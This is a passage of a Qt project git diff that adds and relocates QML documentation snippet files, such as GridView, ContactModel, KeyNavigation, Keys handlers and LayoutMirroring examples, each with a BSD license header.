DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [document] +import QtQuick 2.0 + +Grid { + columns: 3 + spacing: 2 + Rectangle { color: "red"; width: 50; height: 50 } + Rectangle { color: "green"; width: 20; height: 50 } + Rectangle { color: "blue"; width: 50; height: 20 } + Rectangle { color: "cyan"; width: 50; height: 50 } + Rectangle { color: "magenta"; width: 10; height: 10 } +} +//! [document] diff --git a/src/qml/doc/snippets/qml/gridview/ContactModel.qml b/src/qml/doc/snippets/qml/gridview/ContactModel.qml new file mode 100644 index 0000000000..f744c1e73f --- /dev/null +++ b/src/qml/doc/snippets/qml/gridview/ContactModel.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![0] +import QtQuick 2.0 + +ListModel { + + ListElement { + name: "Jim Williams" + portrait: "pics/portrait.png" + } + ListElement { + name: "John Brown" + portrait: "pics/portrait.png" + } + ListElement { + name: "Bill Smyth" + portrait: "pics/portrait.png" + } + ListElement { + name: "Sam Wise" + portrait: "pics/portrait.png" + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/gridview/gridview.qml b/src/qml/doc/snippets/qml/gridview/gridview.qml new file mode 100644 index 0000000000..d3b37d1338 --- /dev/null +++ b/src/qml/doc/snippets/qml/gridview/gridview.qml @@ -0,0 +1,163 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![import] +import QtQuick 2.0 +//![import] + +Rectangle { + width: childrenRect.width; height: childrenRect.height + +Row { + +//![classdocs simple] +GridView { + width: 300; height: 200 + + model: ContactModel {} + delegate: Column { + Image { source: portrait; anchors.horizontalCenter: parent.horizontalCenter } + Text { text: name; anchors.horizontalCenter: parent.horizontalCenter } + } +} +//![classdocs simple] + + +//![classdocs advanced] +Rectangle { + width: 300; height: 200 + + Component { + id: contactDelegate + Item { + width: grid.cellWidth; height: grid.cellHeight + Column { + anchors.fill: parent + Image { source: portrait; anchors.horizontalCenter: parent.horizontalCenter } + Text { text: name; anchors.horizontalCenter: parent.horizontalCenter } + } + } + } + + GridView { + id: grid + anchors.fill: parent + cellWidth: 80; cellHeight: 80 + + model: ContactModel {} + delegate: contactDelegate + highlight: Rectangle { color: "lightsteelblue"; radius: 5 } + focus: true + } +} +//![classdocs advanced] + +//![delayRemove] +Component { + id: delegate + Item { + GridView.onRemove: SequentialAnimation { + PropertyAction { target: wrapper; property: "GridView.delayRemove"; value: true } + NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: Easing.InOutQuad } + PropertyAction { target: wrapper; property: "GridView.delayRemove"; value: false } + } + } +} +//![delayRemove] + +//![highlightFollowsCurrentItem] +Component { + id: highlight + Rectangle { + width: view.cellWidth; height: view.cellHeight + color: "lightsteelblue"; radius: 5 + x: view.currentItem.x + y: view.currentItem.y + Behavior on x { SpringAnimation { spring: 3; damping: 0.2 } } + Behavior on y { SpringAnimation { spring: 3; damping: 0.2 } } + } +} + +GridView { + id: view + width: 300; height: 200 + cellWidth: 80; cellHeight: 80 + + model: ContactModel {} + delegate: Column { + Image { source: portrait; anchors.horizontalCenter: parent.horizontalCenter } + Text { text: name; anchors.horizontalCenter: parent.horizontalCenter } + } + + highlight: highlight + highlightFollowsCurrentItem: false + focus: true +} +//![highlightFollowsCurrentItem] + +//![isCurrentItem] +GridView { + width: 300; height: 200 + cellWidth: 80; cellHeight: 80 + + Component { + id: contactsDelegate + Rectangle { + id: wrapper + width: 80 + height: 80 + color: GridView.isCurrentItem ? "black" : "red" + Text { + id: contactInfo + text: name + ": " + number + color: wrapper.GridView.isCurrentItem ? "red" : "black" + } + } + } + + model: ContactModel {} + delegate: contactsDelegate + focus: true +} +//![isCurrentItem] + +} + +} diff --git a/src/qml/doc/snippets/qml/image.qml b/src/qml/doc/snippets/qml/image.qml new file mode 100644 index 0000000000..61724ffeea --- /dev/null +++ b/src/qml/doc/snippets/qml/image.qml @@ -0,0 +1,47 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [document] +import QtQuick 2.0 + +Image { + source: "pics/qtlogo.png" +} +//! [document] diff --git a/doc/src/snippets/qml/imports/chart.qml b/src/qml/doc/snippets/qml/imports/chart.qml index d5a2d3bf45..d5a2d3bf45 100644 --- a/doc/src/snippets/qml/imports/chart.qml +++ b/src/qml/doc/snippets/qml/imports/chart.qml diff --git a/doc/src/snippets/qml/imports/installed-module.qml b/src/qml/doc/snippets/qml/imports/installed-module.qml index c263ea89ed..c263ea89ed 100644 --- a/doc/src/snippets/qml/imports/installed-module.qml +++ b/src/qml/doc/snippets/qml/imports/installed-module.qml diff --git a/doc/src/snippets/qml/imports/merged-named-imports.qml b/src/qml/doc/snippets/qml/imports/merged-named-imports.qml index a75687c740..a75687c740 100644 --- a/doc/src/snippets/qml/imports/merged-named-imports.qml +++ b/src/qml/doc/snippets/qml/imports/merged-named-imports.qml diff --git a/doc/src/snippets/qml/imports/named-imports.qml b/src/qml/doc/snippets/qml/imports/named-imports.qml index 125e6cfa27..125e6cfa27 100644 --- a/doc/src/snippets/qml/imports/named-imports.qml +++ b/src/qml/doc/snippets/qml/imports/named-imports.qml diff --git a/doc/src/snippets/qml/imports/network-imports.qml b/src/qml/doc/snippets/qml/imports/network-imports.qml index f039c44f1e..f039c44f1e 100644 --- a/doc/src/snippets/qml/imports/network-imports.qml +++ b/src/qml/doc/snippets/qml/imports/network-imports.qml diff --git a/doc/src/snippets/qml/imports/qtquick-1.0.qml b/src/qml/doc/snippets/qml/imports/qtquick-1.0.qml index 481bc12e7e..481bc12e7e 100644 --- a/doc/src/snippets/qml/imports/qtquick-1.0.qml +++ b/src/qml/doc/snippets/qml/imports/qtquick-1.0.qml diff --git a/doc/src/snippets/qml/imports/timeexample.qml b/src/qml/doc/snippets/qml/imports/timeexample.qml index 4d79dbe15e..4d79dbe15e 100644 --- a/doc/src/snippets/qml/imports/timeexample.qml +++ b/src/qml/doc/snippets/qml/imports/timeexample.qml diff --git a/doc/src/snippets/qml/integrating-javascript/connectjs.qml b/src/qml/doc/snippets/qml/integrating-javascript/connectjs.qml index 89c9ebc21a..89c9ebc21a 100644 --- a/doc/src/snippets/qml/integrating-javascript/connectjs.qml +++ b/src/qml/doc/snippets/qml/integrating-javascript/connectjs.qml diff --git a/doc/src/snippets/qml/integrating-javascript/includejs/app.qml b/src/qml/doc/snippets/qml/integrating-javascript/includejs/app.qml index 0dd7b533a6..0dd7b533a6 100644 --- a/doc/src/snippets/qml/integrating-javascript/includejs/app.qml +++ b/src/qml/doc/snippets/qml/integrating-javascript/includejs/app.qml diff --git a/doc/src/snippets/qml/integrating-javascript/includejs/factorial.js b/src/qml/doc/snippets/qml/integrating-javascript/includejs/factorial.js index a7bc4ac69f..a7bc4ac69f 100644 --- a/doc/src/snippets/qml/integrating-javascript/includejs/factorial.js +++ b/src/qml/doc/snippets/qml/integrating-javascript/includejs/factorial.js diff --git a/doc/src/snippets/qml/integrating-javascript/includejs/script.js b/src/qml/doc/snippets/qml/integrating-javascript/includejs/script.js index 964b2f5e8a..964b2f5e8a 100644 --- a/doc/src/snippets/qml/integrating-javascript/includejs/script.js +++ b/src/qml/doc/snippets/qml/integrating-javascript/includejs/script.js diff --git a/doc/src/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp index e018a68292..e018a68292 100644 --- a/doc/src/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp +++ b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp diff --git a/doc/src/snippets/qml/integrating-javascript/scarceresources/avatarExample.h b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/avatarExample.h index d9fbff4fde..d9fbff4fde 100644 --- a/doc/src/snippets/qml/integrating-javascript/scarceresources/avatarExample.h +++ b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/avatarExample.h diff --git a/doc/src/snippets/qml/integrating-javascript/scarceresources/exampleFive.qml b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/exampleFive.qml index 7cfab16a51..7cfab16a51 100644 --- a/doc/src/snippets/qml/integrating-javascript/scarceresources/exampleFive.qml +++ b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/exampleFive.qml diff --git a/doc/src/snippets/qml/integrating-javascript/scarceresources/exampleFour.js b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/exampleFour.js index d104e6f6c7..d104e6f6c7 100644 --- a/doc/src/snippets/qml/integrating-javascript/scarceresources/exampleFour.js +++ b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/exampleFour.js diff --git a/doc/src/snippets/qml/integrating-javascript/scarceresources/exampleFour.qml b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/exampleFour.qml index f5811602dc..f5811602dc 100644 --- a/doc/src/snippets/qml/integrating-javascript/scarceresources/exampleFour.qml +++ b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/exampleFour.qml diff --git a/doc/src/snippets/qml/integrating-javascript/scarceresources/exampleOne.qml b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/exampleOne.qml index cf9b3ebc5d..cf9b3ebc5d 100644 --- a/doc/src/snippets/qml/integrating-javascript/scarceresources/exampleOne.qml +++ b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/exampleOne.qml diff --git a/doc/src/snippets/qml/integrating-javascript/scarceresources/exampleThree.js b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/exampleThree.js index 44df13f7a4..44df13f7a4 100644 --- a/doc/src/snippets/qml/integrating-javascript/scarceresources/exampleThree.js +++ b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/exampleThree.js diff --git a/doc/src/snippets/qml/integrating-javascript/scarceresources/exampleThree.qml b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/exampleThree.qml index 3f12458cec..3f12458cec 100644 --- a/doc/src/snippets/qml/integrating-javascript/scarceresources/exampleThree.qml +++ b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/exampleThree.qml diff --git a/doc/src/snippets/qml/integrating-javascript/scarceresources/exampleTwo.qml b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/exampleTwo.qml index f322fb9ed9..f322fb9ed9 100644 --- a/doc/src/snippets/qml/integrating-javascript/scarceresources/exampleTwo.qml +++ b/src/qml/doc/snippets/qml/integrating-javascript/scarceresources/exampleTwo.qml diff --git a/doc/src/snippets/qml/integrating-javascript/script.js b/src/qml/doc/snippets/qml/integrating-javascript/script.js index 006cf1aead..006cf1aead 100644 --- a/doc/src/snippets/qml/integrating-javascript/script.js +++ b/src/qml/doc/snippets/qml/integrating-javascript/script.js diff --git a/src/qml/doc/snippets/qml/keynavigation.qml b/src/qml/doc/snippets/qml/keynavigation.qml new file mode 100644 index 0000000000..4854ecd0ed --- /dev/null +++ b/src/qml/doc/snippets/qml/keynavigation.qml @@ -0,0 +1,84 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Grid { + width: 100; height: 100 + columns: 2 + + Rectangle { + id: topLeft + width: 50; height: 50 + color: focus ? "red" : "lightgray" + focus: true + + KeyNavigation.right: topRight + KeyNavigation.down: bottomLeft + } + + Rectangle { + id: topRight + width: 50; height: 50 + color: focus ? "red" : "lightgray" + + KeyNavigation.left: topLeft + KeyNavigation.down: bottomRight + } + + Rectangle { + id: bottomLeft + width: 50; height: 50 + color: focus ? "red" : "lightgray" + + KeyNavigation.right: bottomRight + KeyNavigation.up: topLeft + } + + Rectangle { + id: bottomRight + width: 50; height: 50 + color: focus ? "red" : "lightgray" + + KeyNavigation.left: bottomLeft + KeyNavigation.up: topRight + } +} +//![0] diff --git a/src/qml/doc/snippets/qml/keys/keys-handler.qml b/src/qml/doc/snippets/qml/keys/keys-handler.qml new file mode 100644 index 0000000000..21fc98e23d --- /dev/null +++ b/src/qml/doc/snippets/qml/keys/keys-handler.qml @@ -0,0 +1,60 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +Item { + width: 400; height: 400 + +//! [key item] +Item { + anchors.fill: parent + focus: true + Keys.onLeftPressed: console.log("move left") +} +//! [key item] + +Text { + anchors.fill: parent + text: "Press a cursor key" + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter +} +} diff --git a/src/qml/doc/snippets/qml/keys/keys-pressed.qml b/src/qml/doc/snippets/qml/keys/keys-pressed.qml new file mode 100644 index 0000000000..3c9a2d9dce --- /dev/null +++ b/src/qml/doc/snippets/qml/keys/keys-pressed.qml @@ -0,0 +1,65 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +Item { + width: 400; height: 400 + +//! [key item] +Item { + anchors.fill: parent + focus: true + Keys.onPressed: { + if (event.key == Qt.Key_Left) { + console.log("move left"); + event.accepted = true; + } + } +} +//! [key item] + +Text { + anchors.fill: parent + text: "Press a cursor key" + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter +} +} diff --git a/src/qml/doc/snippets/qml/layoutmirroring.qml b/src/qml/doc/snippets/qml/layoutmirroring.qml new file mode 100644 index 0000000000..5daf3f58b3 --- /dev/null +++ b/src/qml/doc/snippets/qml/layoutmirroring.qml @@ -0,0 +1,71 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Rectangle { + LayoutMirroring.enabled: true + LayoutMirroring.childrenInherit: true + + width: 300; height: 50 + color: "yellow" + border.width: 1 + + Row { + anchors { left: parent.left; margins: 5 } + y: 5; spacing: 5 + + Repeater { + model: 5 + + Rectangle { + color: "red" + opacity: (5 - index) / 5 + width: 40; height: 40 + + Text { + text: index + 1 + anchors.centerIn: parent + } + } + } + } +} +//![0] diff --git a/doc/src/snippets/qml/listmodel-modify.qml b/src/qml/doc/snippets/qml/listmodel-modify.qml index 308453b393..308453b393 100644 --- a/doc/src/snippets/qml/listmodel-modify.qml +++ b/src/qml/doc/snippets/qml/listmodel-modify.qml diff --git a/doc/src/snippets/qml/listmodel-nested.qml b/src/qml/doc/snippets/qml/listmodel-nested.qml index bac95608e1..bac95608e1 100644 --- a/doc/src/snippets/qml/listmodel-nested.qml +++ b/src/qml/doc/snippets/qml/listmodel-nested.qml diff --git a/doc/src/snippets/qml/listmodel-simple.qml b/src/qml/doc/snippets/qml/listmodel-simple.qml index e8c4cea68e..e8c4cea68e 100644 --- a/doc/src/snippets/qml/listmodel-simple.qml +++ b/src/qml/doc/snippets/qml/listmodel-simple.qml diff --git a/doc/src/snippets/qml/listmodel.qml b/src/qml/doc/snippets/qml/listmodel.qml index e93732e2ee..e93732e2ee 100644 --- a/doc/src/snippets/qml/listmodel.qml +++ b/src/qml/doc/snippets/qml/listmodel.qml diff --git a/src/qml/doc/snippets/qml/listview/ContactModel.qml b/src/qml/doc/snippets/qml/listview/ContactModel.qml new file mode 100644 index 0000000000..395c637b6a --- /dev/null +++ b/src/qml/doc/snippets/qml/listview/ContactModel.qml @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS 